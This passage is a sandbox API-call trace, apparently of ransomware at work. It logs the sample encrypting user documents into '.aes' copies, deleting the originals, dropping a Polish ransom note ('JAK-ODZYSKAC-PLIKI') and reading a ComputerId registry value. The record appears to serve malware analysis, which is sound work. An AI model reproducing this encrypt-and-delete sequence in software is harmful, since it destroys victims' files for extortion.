lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.744] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x8af, lpOverlapped=0x0) returned 1 [0071.744] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0071.744] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x9c1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce974*=0x9c1, lpOverlapped=0x0) returned 1 [0071.744] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0071.744] CloseHandle (hObject=0x34c) returned 1 [0071.745] CloseHandle (hObject=0x2a8) returned 1 [0071.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", lpFilePart=0x0) returned 0x67 [0071.745] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\b-s_mvdiahrja wonyd7.csv")) returned 1 [0071.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x69 [0071.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0071.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e943c0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe4e943c0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe4eba520, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0071.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0071.746] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0071.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", lpFilePart=0x0) returned 0x4f [0071.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0071.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\3frpiupvjo9pxh.doc"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46ff7a0, ftCreationTime.dwHighDateTime=0x1d2f652, ftLastAccessTime.dwLowDateTime=0x514eec60, ftLastAccessTime.dwHighDateTime=0x1d2fae4, ftLastWriteTime.dwLowDateTime=0x514eec60, ftLastWriteTime.dwHighDateTime=0x1d2fae4, nFileSizeHigh=0x0, nFileSizeLow=0x10feb)) returned 1 [0071.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0071.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", lpFilePart=0x0) returned 0x4f [0071.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0071.770] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\3frpiupvjo9pxh.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0071.770] GetFileType (hFile=0x2a8) returned 0x1 [0071.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0071.770] GetFileType (hFile=0x2a8) returned 0x1 [0071.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc.aes", lpFilePart=0x0) returned 0x53 [0071.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0071.770] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\3frpiupvjo9pxh.doc.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0071.771] GetFileType (hFile=0x34c) returned 0x1 [0071.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0071.771] GetFileType (hFile=0x34c) returned 0x1 [0071.771] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0071.781] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0071.781] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0071.792] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0071.792] GetAdaptersAddresses () returned 0x6f [0071.799] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0071.799] GetAdaptersAddresses () returned 0x0 [0071.805] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.814] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.814] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.824] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.824] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.833] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.833] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.841] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.842] LocalFree (hMem=0x7014730) returned 0x0 [0071.842] GetBestInterfaceEx (in: pDestAddr=0x27a15dc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0071.969] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.970] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.971] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.972] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.973] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.975] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.976] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0xfeb, lpOverlapped=0x0) returned 1 [0071.976] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.976] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2ec4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0071.976] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce974*=0x101, lpOverlapped=0x0) returned 1 [0071.976] WriteFile (in: hFile=0x34c, lpBuffer=0x276a054*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x276a054*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0071.976] CloseHandle (hObject=0x34c) returned 1 [0071.977] CloseHandle (hObject=0x2a8) returned 1 [0071.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc", lpFilePart=0x0) returned 0x4f [0071.977] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\3fRpiUpvJo9PXh.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\3frpiupvjo9pxh.doc")) returned 1 [0071.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0071.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0071.979] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0071.979] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x2a8) returned 0x0 [0071.979] RegQueryValueExW (in: hKey=0x2a8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0071.979] RegQueryValueExW (in: hKey=0x2a8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x279565c, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0071.979] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0071.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0071.979] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c [0071.979] GetFileType (hFile=0x34c) returned 0x1 [0071.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0071.979] GetFileType (hFile=0x34c) returned 0x1 [0071.979] WriteFile (in: hFile=0x34c, lpBuffer=0x279e7f8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x279e7f8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0071.980] CloseHandle (hObject=0x34c) returned 1 [0071.980] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.004] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", lpFilePart=0x0) returned 0x4f [0072.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\7wldze9wqqhkod.odp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec2d4660, ftCreationTime.dwHighDateTime=0x1d2f6fb, ftLastAccessTime.dwLowDateTime=0x91ac2b60, ftLastAccessTime.dwHighDateTime=0x1d2f8be, ftLastWriteTime.dwLowDateTime=0x91ac2b60, ftLastWriteTime.dwHighDateTime=0x1d2f8be, nFileSizeHigh=0x0, nFileSizeLow=0x124c3)) returned 1 [0072.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.004] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\7wlDZE9WQQHKod.odp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: 